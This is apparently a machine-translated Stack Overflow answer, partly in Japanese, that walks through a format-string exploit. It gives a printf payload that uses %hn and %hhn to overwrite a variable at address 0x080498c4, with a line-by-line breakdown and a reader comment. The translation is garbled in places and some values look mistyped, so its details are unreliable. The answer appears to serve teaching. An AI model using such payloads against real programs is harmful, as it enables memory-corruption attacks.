linked articleの最初のセクションの最後に記載されているトリックを使用してください。これは、下位および上位語(2回0xFFFF
)に(0xFFFFFFFFF
)-1の値を分割し、アドレス&a
と(void*)(&a)+2
に別々にこれらを書き込むことを含む:
./v4_2.out `printf "\xc4\x98\x04\x08\xc6\x98\x04\x08"`%65527x%7\$hn%8\$hn"
を説明:
\xc4\x98\x04\x08 ... 0x080498c4, the address of a (lower two bytes)
\xc6\x98\x04\x08 ... 0x080498c6, the address of a (upper two bytes)
%65527x ... write 65527 extra bytes of garbage (eight have been written by now, so that makes 65535)
%7\$hn ... write the number of characters so far (65535 = 0xFFFF) to lower word of a
%8\$hn ... write the number of characters so far (65535 = 0xFFFF, it didn't change) to upper word of a
を数7が来ますあなたの前のコマンド:
printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n
1^ 2^ 3^ 4^ 5^ 6^7^
と私はスタックされているので、 t位置8.
これはまだ多くの出力を行います。さらに1ステップ進んで、0xFFFFFFFF
バイトごとに書き込むことができます。それは次のようになります。0xFFFFFFFF
以外
\xc4\x98\x04\x08 ... 0x080498c4, the first (low) byte of a
\xc5\x98\x04\x08 ... 0x080498c5, the second byte of a
\xc6\x98\x04\x08 ... 0x080498c6, the third byte of a
\xc7\x98\x04\x08 ... 0x080498c7, the fourth (high) byte of a
%239x ... write 239 extra bytes of garbage (16 have been written by now, so that makes 255)
%7\$hhn ... write the number of characters so far, as a byte (255 = 0xFF) to the first address above
%8\$hhn ... the same for the second
%9\$hhn ... the same for the third
%10\$hhn ... the same for the last
数字は各%hhn
の間にいくつかの余分な出力を必要としています。それぞれの違いを補うために出力するガベージバイト数を計算する必要があります。前の値より下に移動する必要がある場合は、バイトだけが書き込まれるため、算術演算は256になります。
ようこそ。あなたは非常に不明で、達成したいことがあります。あなたのタイトルは間違ったフォーマット指定子(%u対-1)の使用に関するものです。あなたの質問は、値を変更するためのいくつかの悪用を言及しています。書式指定子は印刷出力を変更することがありますが、変数の値は変更しません。 – Gerhardh